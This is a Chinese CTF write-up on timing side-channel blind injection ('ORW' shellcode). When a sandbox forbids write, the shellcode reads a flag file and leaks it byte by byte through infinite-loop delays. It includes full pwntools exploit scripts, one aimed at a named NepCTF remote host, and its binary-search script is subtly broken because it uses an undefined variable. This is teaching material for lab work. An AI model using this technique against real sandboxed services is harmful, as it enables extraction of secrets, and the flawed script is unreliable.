ORW:侧信道时间盲注
原理
沙箱禁用write
的时候可以通过shellcode
逐位爆破,先将flag
读到栈上,再依次爆破栈上每一位的内容,通过cmp
比较的结果跳转到死循环,再根据接收数据的时间差判断是否进入死循环
shellcode
遍历字符集
在flag
出现的字符种类较少的时候使用,直接cmp
判断相同的时候跳到死循环,即je
,此时字符集中的顺序会影响效率
for i in range (len(flag),50):
for j in charset:
global r
r = process('./pwn')
sleep(3)
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2
ret
'''
payload += asm(shellcode)
try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
r.close()
except:
pass
else:
if start_time > 2:
flag += j
break
li('flag = ' + flag)
if flag[-1]=="}":
break
二分法
如果字符范围较大可以使用二分法进行优化,即利用ja
在大于的时候跳转到死循环,遍历0x20-0x80
for i in range (len(flag),50):
left = 0
right = 127
while left < right:
global r
r = process('./pwn')
mid = (left + right) >> 1
sleep(3)
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
ja $-2
ret
'''
payload += asm(shellcode)
try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
r.close()
if start_time > 2:
left = mid + 1
except:
pass
else:
right = mid
li('flag = ' + flag)
flag += chr(left)
if flag[-1]=="}":
break
例题-nepbox
本题就是输入shellcode并且在子进程执行,执行前会进行检查禁用一些系统调用,比如execve,并且把write的参数给篡改了,直接时间盲注爆破,靶机越打越慢,重启很多次靶机最终凑出flag
if ( syscall_id != 1 )
{
LABEL_47:
puts("Bad System Call");
sub_1467(v7);
}
v8 = rand() % dword_4010;
v24 = (&off_4020)[v8];
v23 = strlen((&off_4020)[v8]);
ptrace(PTRACE_SETREGS, (unsigned int)v7, 0LL, v21);
最终构造exp如下:
from pwn import *
import time
context(arch='amd64', os='linux', log_level = 'debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
def dbg():
gdb.attach(r)
charset = '0123456789abcdef'
flag = 'NepCTF{'
for i in range (len(flag),50):
for j in charset:
global r
#r = process('./pwn')
sleep(3)
r=remote('neptune-33443.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2
ret
'''
payload += asm(shellcode)
try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
r.close()
except:
pass
else:
if start_time > 2:
flag += j
break
li('flag = ' + flag)
if flag[-1]=="}":
break
li(flag)
r.interactive()
注意点
陷入死循环一次clean
时间在2
秒,除了跳转到死循环的,在比较时不相同也是有时间差的,远程打的越久时间差越大,这种时候可以通过:增加clean
的次数,每增加一次死循环后的时间+2
,或者把爆破出来的内容添加到flag
中之后重启远程。爆破出来的值也不完全准确,需要多次测试。
0 条评论
可输入 255 字